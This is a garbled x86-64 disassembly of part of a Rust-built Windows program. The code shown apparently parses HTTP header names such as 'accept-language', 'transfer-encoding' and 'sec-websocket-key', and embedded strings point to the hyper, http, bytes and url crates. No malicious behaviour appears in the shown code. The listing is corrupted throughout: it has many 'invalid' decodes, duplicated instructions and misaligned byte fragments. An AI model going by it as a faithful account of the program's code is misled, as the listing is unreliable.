movabs rdx, 0x6f2d656d6172662d
sub eax, 0x6d617266
jb 0x1400255f5
insd dword [rdi], dx
sub eax, 0x5139496f
add dword [rdi], ecx
test dword [rbx + 0x41000004], ebx
wait
add al, 0
add byte [rcx - 0x7f], al
cmp dword [r9 + 9], 0x6f697470
cmp qword [r9 + 1], rdx
cmp dword [rcx + 1], edx
jne case.0x140024b4d.103
wait
add al, 0
add byte [rcx - 0x7f], al
invalid
invalid
add byte [rax], al
cmp dword [r9 + 9], 0x6f697470
jns 0x1400255af
or dword [rax + 0x74], esi
jo 0x14002561c
imul ebp, dword [rdi + 0xf], 0x48d85
outsd dx, dword [rsi]
jne case.0x140024b4d.103
test dword [rbp + 0x41000004], ecx
add al, 0
add byte [rcx - 0x80], al
jns case.0x140019243.288
invalid
cmp byte [r9 + 0xd], 0x6e
cmp byte [rcx + 0xd], 0x6e
or eax, 0x82850f6e
add al, 0
invalid
outsb dx, byte [rsi]
jne case.0x140024b4d.103
add byte [rax], al
add byte [rdx + 0x73b2414f], dh
mov dl, 0x4f
mov r10b, 0x73
mov r11d, 0xe
mov ebx, 0xe
invalid
add byte [rax], al
jmp 0x140025a24
movabs rdx, 0x6d2d656e6f6e2d66
sub eax, 0x656e6f6e
sub eax, 0x5139496d
add dword [rdi], ecx
invalid
test dword [rsi + 4], ebx
cmp qword [r9 + 1], rdx
jne case.0x140024b4d.103
add byte [rax], al
cmp byte [r9 + 9], 0x61
cmp byte [rcx + 9], 0x61
or dword [rcx + 0xf], esp
test dword [rbx + 4], edx
add al, 0
invalid
jne case.0x140024b4d.103
add al, 0
add byte [rcx - 0x80], al
jns 0x1400255f8
invalid
cmp byte [r9 + 0xa], 0x74
jne case.0x140024b4d.103
add al, 0
invalid
or dh, byte [rdi + rcx - 0x7b]
je 0x1400255ff
test dword [rax + 4], ecx
add byte [rax], al
add al, 0
add byte [rcx - 0x80], al
jns 0x140025604
cmp byte [r9 + 0xb], 0x63
jne case.0x140024b4d.103
or esp, dword [rbx + 0xf]
test dword [0xf2025605], edi
invalid
add byte [rdx + 0x68b24129], dh
mov dl, 0x29
sub dword [rcx - 0x4e], eax
mov r10b, 0x68
push 0xcbb41
mov r11d, 0xc
add byte [rax], al
jmp 0x140025a24
adc al, 4
add byte [rax], al
movzx edx, byte [r9 + 1]
cmp edx, 0x61
je 0x140025a83
invalid
push rcx
add dword [rbx - 0x7bf09e06], eax
add al, 0
add byte [rax], al
add byte [rbx - 0x7af09006], al
cmp edx, 0x6f
jne case.0x140024b4d.103
invalid
add byte [rax], al
movabs rdx, 0x61722d746e65746e
jb 0x140025692
cmp qword [r9 + 2], rdx
cmp dword [rcx + 2], edx
jne case.0x140024b4d.103
add byte [rax], al
cmp byte [r9 + 0xa], 0x6e
cmp byte [rcx + 0xa], 0x6e
jne case.0x140024b4d.103
cmp byte [r9 + 0xb], 0x67
jne case.0x140024b4d.103
in al, dx
add eax, dword [rax]
invalid
in al, dx
add eax, dword [rax]
add byte [rdx + 0x65b2411a], dh
mov dl, 0x1a
mov r10b, 0x65
mov dl, 0x1a
mov r10b, 0x65
mov dl, 0x65
mov r11d, 0xc
jmp 0x140025a24
add cl, ch
ret
movabs rdx, 0x6f736265772d6365
sub eax, 0x73626577
outsd dx, dword [rsi]
ja case.0x14001b2de.223
invalid
cmp qword [r9 + 1], rdx
jne case.0x140024e6f.100
test dword [rcx + 5], ecx
add byte [rax], al
cmp dword [r9 + 9], 0x74656b63
jne case.0x140024e6f.100
add byte [rax], al
add byte [rax], al
cmp byte [r9 + 0xd], 0x2d
jne case.0x140024e6f.100
invalid
add byte [rax], al
jns 0x140025694
sub eax, 0x530850f
add byte [rax], al
add eax, 0x80410000
jns 0x1400256a0
cmp byte [r9 + 0xe], 0x6b
cmp byte [rcx + 0xe], 0x6b
imul ecx, dword [rdi], 0xffffff85
jne case.0x140024e6f.100
test dword [0x18102569f], esp
and eax, 0x41000005
cmp byte [r9 + 0xf], 0x65
cmp byte [rcx + 0xf], 0x65
jne case.0x140024e6f.100
test dword [rdx], ebx
add eax, 0x3db20000
sbb al, byte [0x17db456a6]
mov dl, 0x3d
mov r10b, 0x79
mov r11d, 0x10
add byte [rax], al
add byte [rax], al
jmp 0x140025a24
movabs rdx, 0x69646f6d2d747361
cmp qword [r9 + 1], rdx
cmp dword [rcx + 1], edx
mov edx, 0x2d747361
insd dword [rdi], dx
outsd dx, dword [rsi]
imul ecx, dword fs:[rcx + 0x39], 0x850f0151
cmp dword [rcx + 1], edx
invalid
test dword [rbp + 3], esi
cmp dword [rcx + 1], edx
jne case.0x140024b4d.103
add byte [rax], al
cmp byte [r9 + 9], 0x66
cmp byte [rcx + 9], 0x66
or dword [rsi + 0xf], esp
test dword [rdx + 3], ebp
add byte [rax], al
jne case.0x140024b4d.103
cmp byte [r9 + 0xa], 0x69
jne case.0x140024b4d.103
invalid
add byte [rcx - 0x80], al
jns 0x1400256ed
cmp byte [r9 + 0xb], 0x65
jne case.0x140024b4d.103
add byte [rax], al
jne case.0x140024b4d.103
add byte [rdx + 0x64b2412c], dh
mov dl, 0x2c
mov r10b, 0x64
mov r11d, 0xc
mov r11d, 0xc
jmp 0x140025a24
movabs rdx, 0x696669646f6d2d66
cmp qword [r9 + 1], rdx
jne case.0x140024e6f.100
add al, 0
invalid
add al, 0
add byte [rcx - 0x7f], al
jns 0x14002571a
cmp dword [r9 + 9], 0x732d6465
sub eax, 0xa3850f73
sub eax, 0xa3850f73
jne case.0x140024e6f.100
add al, 0
add byte [rcx - 0x80], al
jns 0x14002572c
cmp byte [r9 + 0xd], 0x69
jne case.0x140024e6f.100
imul ecx, dword [rdi], 0x49885
add byte [rcx - 0x80], al
invalid
invalid
jns 0x140025738
cmp byte [r9 + 0xe], 0x6e
outsb dx, byte [rsi]
jne case.0x140024e6f.100
test dword [rbp + 0x41000004], ecx
cmp byte [rcx + 0xf], 0x63
cmp byte [r9 + 0xf], 0x63
jne case.0x140024e6f.100
invalid
mov dl, 0x28
mov r10b, 0x65
mov r11d, 0x10
jmp 0x140025a24
invalid
add byte [rax - 0x46], cl
jb 0x1400257b1
movabs rdx, 0x2d726566736e6172
outsb dx, byte [rsi]
jae 0x1400257b9
jb 0x140025783
cmp qword [r9 + 1], rdx
jne case.0x140024e6f.100
cmp dword [r9 + 9], 0x6f636e65
jne case.0x140024e6f.100
cmp byte [r9 + 0xd], 0x64
jne case.0x140024e6f.100
add byte [rax], al
or eax, 0x45850f64
add al, 0
add byte [rax], al
invalid
invalid
jns 0x14002578b
add byte [rax], al
cmp byte [r9 + 0xe], 0x69
jne case.0x140024e6f.100
add byte [rax], al
imul ecx, dword [rdi], 0x43a85
add byte [rax], al
add byte [rcx - 0x80], al
jns 0x140025797
cmp byte [r9 + 0xf], 0x6e
outsb dx, byte [rsi]
jne case.0x140024e6f.100
invalid
mov dl, 0x45
mov r10b, 0x67
invalid
mov r10b, 0x67
mov r11d, 0x10
mov r11d, 0x10
add byte [rax], al
add cl, ch
test dword [rdx], eax
add byte [rax], al
invalid
jmp 0x140025a24
cmp dword [r9 + 0x16], 0x6f687465
push 0x11850f6f
add al, 0
add byte [rcx - 0x80], al
jns 0x1400257cb
jne case.0x140024e6f.100
cmp byte [r9 + 0x1a], 0x64
jne case.0x140024e6f.100
jne case.0x140024e6f.100
mov dl, 7
invalid
mov r10b, 0x73
mov r11d, 0x1b
sbb eax, dword [rax]
add byte [rax], al
sbb eax, dword [rax]
add byte [rax], al
jmp 0x140025a24
movabs rdx, 0x6d2d747365757165
cmp qword [r9 + 0x10], rdx
jne case.0x140024e6f.100
jno 0x140025842
jno 0x140025842
jae 0x140025844
sub eax, 0x5139496d
adc byte [rdi], cl
test edx, esp
add eax, dword [rax]
add byte [rcx - 0x7f], al
jns 0x1400257f8
cmp dword [r9 + 0x18], 0x6f687465
je 0x14002584b
outsd dx, dword [rsi]
jne case.0x140024e6f.100
mov dl, 0xc
mov r10b, 0x64
mov r11d, 0x1c
jmp 0x140025a24
add byte [rax], al
cmp byte [r9 + 1], 0x72
jne case.0x140024b4d.103
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x80], al
jns 0x14002580b
cmp byte [r9 + 2], 0x6f
outsd dx, dword [rsi]
jne case.0x140024b4d.103
test dword [0xf2025813], ebp
and eax, 0x416db241
mov ebx, 3
mov dl, 0x25
mov r10b, 0x6d
mov r11d, 3
jmp 0x140025a24
cmp byte [r9 + 1], 0x61
jne case.0x140024b4d.103
add dword [rcx + 0xf], esp
test dword [rdx], edx
add al, byte [rax]
add byte [rcx - 0x80], al
jns 0x140025831
invalid
cmp byte [r9 + 2], 0x72
jne case.0x140024b4d.103
add dh, byte [rdx + 0xf]
jb 0x140025840
test dword [rdi], eax
add al, byte [rax]
add byte [rdx + 0x79b24149], dh
mov dl, 0x49
mov r10b, 0x79
mov r11d, 3
jmp 0x140025a24
add cl, ch
fiadd word [rcx]
add byte [rax], al
cmp byte [r9 + 1], 0x65
jne case.0x140024b4d.103
jne case.0x140024b4d.103
cmp byte [r9 + 2], 0x66
jne case.0x140024b4d.103
movzx edx, byte [r9 + 3]
cmp edx, 0x72
je 0x140025b80
cmp edx, 0x65
jne case.0x140024b4d.103
cmp byte [r9 + 4], 0x72
add al, 0x72
jne case.0x140024b4d.103
cmp byte [r9 + 5], 0x65
jne case.0x140024b4d.103
mov dl, 0x37
jmp 0x140025949
cmp dword [r9 + 1], 0x696e7261
jne case.0x140024b4d.103
cmp byte [r9 + 5], 0x6e
jne case.0x140024b4d.103
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdx + 0x67b2414b], dh
mov dl, 0x4b
mov r10b, 0x67
mov r11d, 6
jmp 0x140025a24
cmp byte [r9 + 1], 0x74
jne case.0x140024b4d.103
cmp byte [r9 + 2], 0x61
jne case.0x140024b4d.103
mov dl, 0x21
mov r10b, 0x67
mov r11d, 3
jmp 0x140025a24
cmp dword [r9 + 1], 0x72697078
jne case.0x140024b4d.103
cmp byte [r9 + 5], 0x65
jne case.0x140024b4d.103
mov dl, 0x23
mov r10b, 0x73
mov r11d, 6
jmp 0x140025a24
cmp byte [r9 + 1], 0x6f
jne case.0x140024b4d.103
cmp byte [r9 + 2], 0x73
jne case.0x140024b4d.103
invalid
add byte [rdx + 0x74b24126], dh
mov dl, 0x26
mov r10b, 0x74
mov r11d, 3
jmp 0x140025a24
cmp dword [r9 + 1], 0x6c696172
jne case.0x140024b4d.103
cmp byte [r9 + 5], 0x65
jne case.0x140024b4d.103
mov dl, 0x44
mov r10b, 0x72
mov r11d, 6
jmp 0x140025a24
cmp byte [r9 + 1], 0x69
cmp byte [rcx + 1], 0x69
jne case.0x140024b4d.103
cmp byte [r9 + 2], 0x6e
jne case.0x140024b4d.103
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
mov dl, 0x2d
mov r10b, 0x6b
mov r11d, 3
jmp 0x140025a24
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x7f], al
invalid
invalid
jns 0x140025982
cmp dword [r9 + 1], 0x63657078
jne case.0x140024b4d.103
js 0x1400259f3
jo 0x1400259e9
invalid
invalid
mov dl, 0x22
mov r10b, 0x74
jmp 0x1400259fa
cmp dword [r9 + 1], 0x61726770
jne case.0x140024b4d.103
cmp byte [r9 + 5], 0x64
jne case.0x140024b4d.103
mov dl, 0x47
mov r10b, 0x65
mov r11d, 6
jmp 0x140025a24
cmp dword [r9 + 1], 0x65767265
jne case.0x140024b4d.103
mov dl, 0x40
mov r10b, 0x72
jmp 0x1400259fa
cmp dword [r9 + 1], 0x696b6f6f
jne case.0x140024b4d.103
mov dl, 0x1e
mov r10b, 0x65
jmp 0x1400259fa
cmp dword [r9 + 1], 0x69676972
jne case.0x140024b4d.103
add dword [rdx + 0x69], esi
imul esi, dword [ebp + 0x59], 0xb24130b2
outsb dx, byte [rsi]
mov dl, 0x30
mov r10b, 0x6e
jmp 0x1400259fa
cmp dword [r9 + 1], 0x6d676172
jne case.0x140024b4d.103
mov dl, 0x31
mov r10b, 0x61
mov r11d, 5
jmp 0x140025a24
movabs rdx, 0x746174732d656863
cmp qword [r9 + 2], rdx
jne case.0x140024b4d.103
cmp byte [r9 + 0xa], 0x75
jne case.0x140024b4d.103
mov dl, 0x12
mov r10b, 0x73
mov r11d, 0xb
cmp byte [r9 + r11], r10b
jne case.0x140024760.26
mov byte [rcx], dl
mov al, 2
jmp case.0x1400196ab.390
cmp r8, 0xf
ja case.0x140024e6f.100
xor edx, edx
nop
cmp byte [r9 + rdx], 0
je case.0x1400196ab.390
inc rdx
cmp r8, rdx
jne 0x140025a40
jmp 0x140025c5f
movabs rdx, 0x6e61722d74706563
cmp qword [r9 + 2], rdx
jne case.0x140024b4d.103
cmp byte [r9 + 0xa], 0x67
jne case.0x140024b4d.103
cmp byte [r9 + 0xb], 0x65
jne case.0x140024b4d.103
mov dl, 4
mov r10b, 0x73
mov r11d, 0xc
jmp 0x140025a24
movabs rdx, 0x746e6f632d656863
cmp qword [r9 + 2], rdx
jne case.0x140024b4d.103
cmp byte [r9 + 0xa], 0x72
jne case.0x140024b4d.103
cmp byte [r9 + 0xb], 0x6f
jne case.0x140024b4d.103
mov dl, 0x11
mov r10b, 0x6c
mov r11d, 0xc
jmp 0x140025a24
cmp byte [r9 + 4], 0x61
jne case.0x140024b4d.103
cmp byte [r9 + 5], 0x6e
jne case.0x140024b4d.103
cmp byte [r9 + 6], 0x67
jne case.0x140024b4d.103
mov dl, 0x2a
mov r10b, 0x65
mov r11d, 7
jmp 0x140025a24
movzx edx, byte [r9 + 9]
cmp edx, 0x6f
je 0x140025ba6
cmp edx, 0x61
jne case.0x140024e6f.100
cmp dword [r9 + 0xa], 0x6175676e
jne case.0x140024e6f.100
cmp byte [r9 + 0xe], 0x67
jne case.0x140024e6f.100
mov dl, 0x17
jmp 0x14002536e
movdqu xmm0, xmmword [r9 + 3]
pcmpeqb xmm0, xmmword [0x14012f840]
pmovmskb edx, xmm0
xor edx, 0xffff
jne case.0x140024e6f.100
cmp byte [r9 + 0x13], 0x72
jne case.0x140024e6f.100
cmp byte [r9 + 0x14], 0x6f
jne case.0x140024e6f.100
mov dl, 0x4e
jmp case.0x14001b1bb.341
cmp dword [r9 + 8], 0x75676e61
jne case.0x140024b4d.103
cmp byte [r9 + 0xc], 0x61
jne case.0x140024b4d.103
cmp byte [r9 + 0xd], 0x67
jne case.0x140024b4d.103
mov dl, 3
mov r10b, 0x65
mov r11d, 0xe
jmp 0x140025a24
cmp byte [r9 + 4], 0x65
jne case.0x140024b4d.103
cmp byte [r9 + 5], 0x73
jne case.0x140024b4d.103
mov dl, 0x39
mov r10b, 0x68
mov r11d, 6
jmp 0x140025a24
cmp dword [r9 + 0xa], 0x69746163
jne case.0x140024e6f.100
cmp byte [r9 + 0xe], 0x6f
jne case.0x140024e6f.100
mov dl, 0x19
jmp 0x1400253b6
lea rdx, [r9 + 7]
and rdx, 0xfffffffffffffff8
sub rdx, r9
jne 0x140025c21
lea r10, [r8 - 0x10]
xor edx, edx
movabs r11, 0x101010101010100
movabs rsi, 0x8080808080808080
nop word cs:[rax + rax]
mov rdi, qword [r9 + rdx]
mov rbx, qword [r9 + rdx + 8]
mov r14, r11
sub r14, rbx
or r14, rbx
mov rbx, r11
sub rbx, rdi
or rbx, rdi
and rbx, r14
not rbx
test rbx, rsi
jne 0x140025c48
add rdx, 0x10
cmp rdx, r10
jbe 0x140025bf0
jmp 0x140025c48
xor r10d, r10d
nop word cs:[rax + rax]
cmp byte [r9 + r10], 0
je case.0x1400196ab.390
inc r10
cmp rdx, r10
jne 0x140025c30
lea r10, [r8 - 0x10]
cmp rdx, r10
jbe 0x140025bd1
cmp rdx, r8
je 0x140025c5f
invalid
adc cl, byte [rdi]
invalid
nop dword [rax]
cmp byte [r9 + rdx], 0
je case.0x1400196ab.390
inc rdx
cmp r8, rdx
jne 0x140025c50
mov qword [rcx], r9
mov qword [rcx + 8], r8
mov al, 1
mov byte [rcx + 0x10], al
pop rbx
pop rbp
adc byte [r11 + 0x5d], bl
pop rdi
pop rsi
pop r14
ret
int3
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.InvalidHeaderNameinvalid_HTTP_header_nameInvalidHeaderValuefailed_to_parse_header_valueC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs__
mov r8d, 0x11
add byte [rax - 1], cl
invalid
add byte [rax - 1], cl
loopne 0x140025c69
int3
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140145cf9]
mov r8d, 0x18
sbb byte [rax], al
add byte [rax], al
jmp rax
invalid
sbb ax, 0x71d3
loop 0x140025c76
jno 0x140025cb5
movabs byte [0xccccccccccccccc3], al
int3
ret
sbb byte [rax - 0x73], cl
adc eax, 0x12001e
mov r8d, 0x12
jmp rax
int3
lea rdx, [0x140145d23]
mov r8d, 0x1c
jmp rax
jmp rax
int3
in al, dx
loopne 0x140025d2c
add byte [rax], al
mov r8, rdx
mov rsi, rcx
mov qword [rsp + 0x20], 1
and al, 0x20
add dword [rax], eax
add byte [rax], al
ror byte [rax - 0x77], 1
invalid
and al, 0x20
add dword [rax], eax
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
and al, 0x28
and al, 0x28
sub byte [rax - 0x39], cl
and al, 0x38
add dword [rax], eax
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x38], 1
add byte [rax], al
mov eax, 0x14
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion_failed:__tail_.value.is_none__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscqueue.rs
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x13c966
cmp rdx, 0x2710
adc byte [rdi], ah
add byte [rax], al
jb 0x140025e17
mov r10d, 0x14
movabs r9, 0x346dc5d63886594b
pop rcx
xchg byte [rax], bh
invalid
invalid
insd dword [rdi], dx
invalid
add byte [rax], al
add byte [rcx - 0x47], cl
pop r9
pop rcx
pop rcx
xchg byte [rax], bh
invalid
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
mov rax, r8
mul r9
mul ecx
shr rdx, 0xb
imul eax, edx, 0x2710
or ebp, dword [rcx - 0x3e]
adc byte [rdi], ah
add byte [rax], al
mov r11d, r8d
mov ebx, eax
ret
sub r11d, eax
imul edi, r11d, 0x147b
add byte [rax], al
add byte [rax], al
add cl, al
shr edi, 0x13
imul eax, edi, 0x64
sub r11d, eax
ret
out dx, eax
adc ebp, dword [rbx - 0x39]
sub r11d, eax
ret
ret
movzx r11d, r11w
mov bh, 0xdb
fisttp dword [rcx - 0x73]
cld
lea rax, [r10 - 4]
lea eax, [rdx - 4]
movzx edi, word [rcx + rdi*2]
mov word [rsp + r10 + 0x5c], di
pop rsp
pop rsp
movzx r11d, word [rcx + r11*2]
mov word [rsp + r10 + 0x5e], r11w
mov dword [rsp + r10 + 0x5e], r11d
mov dword [rsp + r10 + 0x5e], r11d
mov r10, rax
ret 0x8149
cmp r8, 0x5f5e0ff
mov r8, rdx
ja case.0x14001a74e.432
add eax, 0x77d08949
scasb al, byte [rdi]
cmp rdx, 0x63
jbe 0x140025e05
invalid
movzx r8d, dx
mov bh, 0xc2
shr r8d, 2
imul r8d, r8d, 0x147b
call 0x1006ba2e5
jnp case.0x1400dd9c6.1479
add al, byte [rbp + 0x69]
sar byte [rbx + 0x14], 0
add byte [rcx - 0x3f], al
shr r8d, 0x11
imul r9d, r8d, 0x64
sub edx, r9d
add byte [rax], al
shr r8d, 0x11
shr eax, 0x11
imul r9d, r8d, 0x64
imul ecx, eax, 0x64
sub edx, r9d
sub edx, ecx
retf 0xb70f
movzx edx, dx
movzx edx, word [rcx + rdx*2]
push rcx
push rcx
mov word [rsp + rax + 0x5e], dx
add rax, 0xfffffffffffffffe
dec byte [rcx + rcx*4 - 0x3e]
dec byte [rcx + rcx*4 - 0x3e]
cmp rdx, 0xa
cmp edx, 0xa
jae 0x140025e22
invalid
or dl, 0x30
mov byte [rsp + rax + 0x5f], dl
dec rax
dec eax
dec eax
jmp case.0x1400196ab.430
mov rdx, r8
cmp rdx, 0x63
ja 0x140025dd8
cli
invalid
jmp 0x140025e05
jrcxz 0x140025e32
movzx ecx, word [rcx + rdx*2]
mov bh, 0xc
push rcx
mov word [rsp + rax + 0x5e], cx
add al, 0x5e
add rax, 0xfffffffffffffffe
sar dh, 0x48
lea edi, [rax - 0x14]
lea rdi, [rax - 0x14]
in al, dx
neg rdi
lea rbx, [rsp + rax]
lea ebx, [rsp + rax]
add rbx, 0x60
cmp rax, 0x14
jne 0x140025e51
clc
adc al, 0x75
or eax, 0xb9ff3145
xor r15d, r15d
mov ecx, 1
xor r15d, r15d
mov ecx, 1
add byte [rax], al
add byte [rbp + 0x31], al
imul bl
sbb al, 0x48
xor r14d, r14d
jmp 0x140025e6d
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
and al, 0x20
and byte [rax - 0x77], cl
cli
mov rdx, rdi
call fcn.1400087c0
mov rcx, qword [rsp + 0x20]
mov ecx, dword [rsp + 0x20]
sub esi, edi
dec dword [rax - 0x75]
invalid
mov ecx, dword [rsp + 0x20]
and al, 0x20
and al, 0x20
mov r14, qword [rsp + 0x28]
mov r15, qword [rsp + 0x30]
jl case.0x14001af4a.419
invalid
jl case.0x14001af4a.419
xor byte [rcx + rax - 0xf], cl
add rcx, r14
add ecx, esi
int1
mov rdx, rbx
mov r8, rdi
call fcn.140121660
in eax, 0xb7
invalid
invalid
mov bh, 0xf
add byte [rcx + 1], cl
invalid
invalid
add r14, rdi
dec byte [rcx + rcx*4 - 0x4c]
mov qword [rsp + 0x88], r14
mov dword [rsp + 0x88], esi
and al, 0x88
add byte [rax], al
add byte [rbp + 0x39], cl
cmp r14, r15
ja case.0x1400dd9c6.1285
invalid
invalid
add byte [rax], al
invalid
dec byte [rdi]
xchg dword [rdx + 0x48000000], esp
movabs byte [0x2024448b48000000], al
mov rax, qword [rsp + 0x20]
mov eax, dword [rsp + 0x20]
and byte [rax - 0x75], cl
jl case.0x14001aeff.407
mov rdi, qword [rsp + 0x38]
mov edi, dword [rsp + 0x38]
cmp byte [rax - 0xa], al
test dil, 1
mov dword [rcx], 0x8d480975
add dword [rbp + 9], esi
jne 0x140025ea8
or dword [rax - 0x73], ecx
lea rcx, [0x14016a948]
or eax, 0x144aa2
movabs byte [0xefc14867eb00144a], al
add eax, 0x49f82948
sub eax, edi
add r14, rdi
adc al, 0
jmp 0x140025f0f
shr rdi, 5
sub rax, rdi
sub eax, edi
add r14, rdi
mov rcx, qword [rsp + 0x30]
add rcx, rdi
xor byte [rax + 1], cl
stc
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rax
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x98
add byte [rax], al
invalid
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x98
mov dword [rsp + 0x98], esi
mov ah, 0x24
cwde
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
invalid
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea rdx, [rsp + 0x88]
lea rdx, [rsp + 0x88]
lea edx, [rsp + 0x88]
call fcn.140008100
mov qword [rsp + 0xa0], rdi
invalid
dec dword [rax - 0x77]
mov esp, 0xa024
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
push rax
mov r14, rax
sub r14, rdi
sub esi, edi
jb 0x140025fad
mov rax, rdi
mov eax, edi
add rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
and al, 0x40
mov rcx, qword [rsp + 0x40]
and al, 0x40
mov rdi, qword [rsp + 0x58]
mov edi, dword [rsp + 0x58]
mov qword [rsi], rcx
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
mov dword [rsi + 8], eax
mov qword [rsi + 0x10], r14
mov dword [rsi + 0x10], esi
mov qword [rsi + 0x18], rdi
jle 0x140025f36
mov byte [rsi + 0x20], 0
add rsp, 0xe0
invalid
loopne 0x140025f27
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rax, [rsp + 0x30]
lea rcx, [rsp + 0x88]
lea ecx, [rsp + 0x88]
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x40], rcx
add byte [rax], al
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x40], ecx
lea rcx, [fcn.140008ab0]
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x48], ecx
sub edi, esi
dec dword [rax - 0x77]
mov dword [rsp + 0x48], ecx
mov dword [rsp + 0x48], ecx
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x58], rcx
and al, 0x58
pop rax
lea rax, str.new_len____capacity_
lea eax, [0x14015bf38]
mov qword [rsp + 0xb0], rax
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + rdi*4], ah
and al, 0xb8
mov qword [rsp + 0xb8], 2
and al, 0xb8
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
and al, 0xd0
add byte [rax], al
mov qword [rsp + 0xd0], 0
and al, 0xd0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
lea rax, [rsp + 0x40]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 2
mov dword [rsp + 0xc8], 2
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
mov dword [rsp + 0xc8], 2
add byte [rax - 0x73], cl
adc eax, 0x135fb8
invalid
pop rdi
adc eax, dword [rax]
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
mov eax, 0x4800135f
lea ecx, [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rax], al
call fcn.1401224d0
invalid
invalid
add byte [rax], al
call fcn.1401224d0
mov qword [rsp + 0xa8], rax
test byte [rax + rbp*4], ah
and al, 0xa8
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x60
and al, 0x60
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x60], rax
and al, 0x60
and al, 0x60
lea rax, [0x1400318a0]
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
push 0x248c8d48
test al, 0
add byte [rax], al
lea rcx, [rsp + 0xa8]
lea ecx, [rsp + 0xa8]
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
invalid
mov qword [rsp + 0x70], rcx
jo 0x140026024
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
lea rax, str.cannot_advance_past__remaining_:___
movabs eax, dword [0xb024848948001449]
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
mov qword [rsp + 0xb0], rax
mov al, 0
add byte [rax], al
mov qword [rsp + 0xb8], 2
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rsp + 0xd0], 0
mov dword [rsp + 0xd0], 0
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x60
and al, 0x60
lea rax, [rsp + 0x60]
and al, 0x60
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_nC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
int1
insb byte [rdi], dx
adc eax, dword [rax]
and al, 0xc8
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x136cf1
int1
insb byte [rdi], dx
adc eax, dword [rax]
int1
insb byte [rdi], dx
adc eax, dword [rax]
lea rcx, [rsp + 0xb0]
call fcn.1401224d0
add ah, cl
add ah, cl
int3
sub rsp, 0x28
mov rax, qword [rcx]
movzx ecx, byte [rax]
cmp ecx, 1
je 0x140026062
cmp ecx, 2
jne 0x140026095
mov rcx, qword [rax + 8]
mov rax, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
jmp 0x14002607f
adc bl, ch
sbb eax, 0x148b60f
movzx ecx, byte [rax + 1]
lea r8, [rcx + 4]
lea r9, [0x14018dd8c]
lea rax, str.httphttpswswssftpfileC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srcparser.rs
adc byte [rbp + 0x16], bh
invalid
adc byte [rbp + 0x16], bh
add byte [rax - 0x7b], cl
test rcx, rcx
test rcx, rcx
cmovne rax, r9
mov rcx, qword [rdx + 0x20]
